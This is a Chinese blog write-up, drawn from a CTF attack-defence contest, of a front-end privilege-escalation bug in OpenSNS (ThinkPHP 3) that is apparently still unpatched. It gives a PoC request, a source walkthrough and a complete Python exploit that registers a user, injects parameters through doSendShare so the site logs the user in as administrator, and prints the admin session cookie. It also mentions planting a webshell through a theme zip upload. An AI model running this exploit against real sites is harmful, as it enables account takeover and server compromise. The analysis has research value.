OpenSNS 前台越权登录管理员账号漏洞分析
上个月打 ByteCTF 线下 AWD 时,有一个靶机是 OpenSNS 这个站。比赛第一天情况还好,全场基本上只拿着主办方留的后门互相打;到了第二天早上才爆出了两个洞,我对着流量陆陆续续地修了好久。
其中一个是因为 ThinkPHP 3 的模板设计缺陷
而引发的漏洞,这是 ThinkPHP 3 开发的那一套 CMS 的通病,这里就不赘述了,具体可以阅读 @Li4n0 的这篇文章TinkcmfX 前台任意代码执行分析,里面有很详细的分析。
另一个就是 OpenSNS 自身的前台 Getshell 漏洞了。然而这并不是什么新鲜的 0day,早在 2017 年就有人发现,但是官方到现在还一直没修。网上的文章大多是通过变量覆盖 + 文件上传 + SQL 注入从而 Getshell。这里想讲讲我在线下赛分析流量时找到的另一种利用方式——登录管理员账号。
PoC
注册一个普通用户,POST 请求:
http://localhost/index.php?s=/weibo/share/doSendShare
带上登录用户的 Cookie 发送如下 Payload:
Key | Value |
---|---|
query | from[]=1&app=Admin&model=Member&id=1&method=login |
content | 123123 |
回显提示分享成功后,访问http://localhost/admin
会发现我们现在变成了管理员账号登录,可以对网站后台进行操作。
动调一下吧~
从 OpenSNS 官网下载最新开源版源码,部署好后开始动调。(这里提醒一下,从 OpenSNS 官网下载源码需要手机号验证,建议自行寻找第三方接码平台解决,不然之后会收到客服电话骚扰)
根据上面 PoC 是访问了doSendShare
方法,我们在/Application/Weibo/Controller/ShareController.class.php
L20 处找到doSendShare
方法的定义:
public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);
if(empty($aContent)){
$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
}
if(!is_login()){
$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
}
$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);
$info = D('Weibo/Share')->getInfo($feed_data);
$toUid = $info['uid'];
$message_content=array(
'keyword1'=> parse_content_for_message($aContent),
'keyword2'=>'分享了你的:',
'keyword3'=>$info['title']?$info['title']:"未知内容!"
);
send_message($toUid, L('_PROMPT_SHARE_'),$message_content, 'Weibo/Index/weiboDetail', array('id' => $new_id), is_login(), 'Weibo','Weibo_comment');
$result['url'] ='';
//返回成功结果
$result['status'] = 1;
$result['info'] = L('_SUCCESS_SHARE_').L('_EXCLAMATION_') . cookie('score_tip');
$this->ajaxReturn($result);
}
这里接收了我们传入的content
和query
两个 POST 参数,问题就出在下面的第 23 行:
parse_str($aQuery,$feed_data);
这里使用parse_str
将我们传入的query
参数的键值存入了$feed_data
变量中。
后面的send_weibo
方法是数据的入库操作,和漏洞无关。
之后$feed_data
传入了getInfo
方法中。
我们可以在ThinkPHP/Common/functions.php
L643 处找到D()
函数的定义,它是用来实例化类的。D('Weibo/Share')
加载了Application/Weibo/Model/ShareModel.class.php
这个类,其中getInfo
方法如下:
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}
return $info;
}
形参$param
就是传入的$feed_data
,payload 中的app=Admin&model=Member&method=login&id=1
,经过parse_str
后,对应了这边的$param['app']
$param['model'])
$param['method'])
$param['id']
,刚好使得if
判断的条件满足,调用了下面的D()
函数。
跟进D()
函数:
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// 自动加载公共模块下面的模型
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}
这里的$layer
我们不可控,会从C('DEFAULT_M_LAYER')
中获取,值为Model
。传入parse_res_name()
函数中,返回值为Admin\Model\MemberModel
,后面的class_exists
会触发已经注册好的自动加载autoload()
函数加载类。之后将类进行实例化,放入$_model
数组中方便下次调用,再返回这个实例。
这样我们就成功初始化了MemberModel
这个类,后面的$param['method']
指定了调用其login
方法,传入形参id
的值1
。
/Application/Admin/Model/MemberModel.class.php L35
public function login($uid){
/* 检测是否在当前应用注册 */
$user = $this->field(true)->find($uid);
if(!$user || 1 != $user['status']) {
$this->error = L('_USERS_DO_NOT_EXIST_OR_HAVE_BEEN_DISABLED_WITH_EXCLAMATION_'); //应用级别禁用
return false;
}
//记录行为
action_log('user_login', 'member', $uid, $uid);
/* 登录用户 */
$this->autoLogin($user);
return true;
}
看到这里就很清楚了,这里面的$this->autoLogin($user);
使得我们登录了 ID 为 1 的管理员账户。有兴趣的话可以跟进去,发现他根据传入的$uid
从数据库里拿出了管理员的信息,然后写到了我们当前的 Session 中。
需要注意的点
这里调用了D()
函数进行实例化类,但是注意我们只能控制其$name
参数,而$layer
参数我们无法控制。这就导致$layer
每次都取默认值Model
,只能实例化XXXModel
这样的类。网上的方法是调用UploadModel
配合 SQL 注入进行上传 shell。我这里登录管理员账号后,可以通过上传包含 Webshell 的 zip 主题文件。之后会解压放到Theme
目录下。
附上 exp:
import string
import requests
import random
import json
url = 'http://localhost/'
def random_str(length=5):
return ''.join(random.sample(string.ascii_letters, length)) + ''.join(random.sample(string.digits, length))
req = requests.session()
req.get(url)
# 注册
register = req.post(url + '/index.php?s=/ucenter/member/register.html',
data='role=1&username=' + random_str() + '%40' + random_str() + '.com®_type=email&nickname=' + random_str() + '&code=&password=' + random_str(),
headers={
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Referer": url + "/index.php?s=/ucenter/member/register.html",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36",
"X-Requested-With": "XMLHttpRequest",
})
resp = json.loads(register.text)
if resp['status'] != 1:
print('[x] 注册用户失败!')
exit()
print("[-] 注册用户成功!")
# 注册成功
req.get(url + '/index.php?s=/ucenter/member/step/step/finish.html')
print("[-] 开始提权")
# Send payload
payload = "query=from%5B%5D%3D1%26app%3DAdmin%26model%3DMember%26id%3D1%26method%3Dlogin&content=123123"
resp = req.post(url + '/index.php?s=/weibo/share/doSendShare', data=payload,
headers={'Content-Type': "application/x-www-form-urlencoded"})
print("[-] 管理员 Cookie:PHPSESSID=" + req.cookies.get_dict()['PHPSESSID'])
最后说两句
总得来看这个洞还是蛮有意思的,但是仅限于Model
结尾的类使得了我没能再找到新的利用链。
最多就是通过以上,去调用/Application/Common/Model/ScheduleModel.class.php
这个类里面的runSchedule
方法:
public function runSchedule($schedule)
{
if ($schedule['status'] == 1) {
$method = explode('->', $schedule['method']);
parse_str($schedule['args'], $args); //分解参数
try {
$return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法
} catch (\Exception $exception) {
$return = false;
}
if ($return) {
$log = '任务已运行,描述:' . $schedule['intro'];
} else {
$log = '任务运行失败,描述:' . $schedule['intro'];
}
$this->writeLog($schedule['id'], $log);
}
return true;
}
其入参$schedule
我们可控,这里也是用D()
函数实例化了类,后面调用的类方法也是可控的。和上面不同的是,这里的类方法我们可以传两个参数了!(然并卵)
然后在/ThinkPHP/Library/Think/Model/AdvModel.class.php L255
有一个returnResult
方法:
public function returnResult($data,$type='') {
if('' === $type)
$type = $this->returnType;
switch($type) {
case 'array' : return $data;
case 'object': return (object)$data;
default:// 允许用户自定义返回类型
if(class_exists($type))
return new $type($data); //HERE
else
E(L('_CLASS_NOT_EXIST_').':'.$type);
}
}
这里可以通过前面的getInfo()
函数,调到ScheduleModel.class.php
里的runSchedule
,然后传入两个参数,调用到这个returnResult()
;这样$data
和$type
我们都可控了。到后面的new $type($data)
就可以实例化任意的类了。但是我找了很久,也没找到能利用的构造函数或析构函数。(还是太菜了
找了好几天,还是没找到新的利用链。不太想再在这上面花更多的时间了。说白了还是菜
喜欢这篇文章?为什么不打赏一下呢?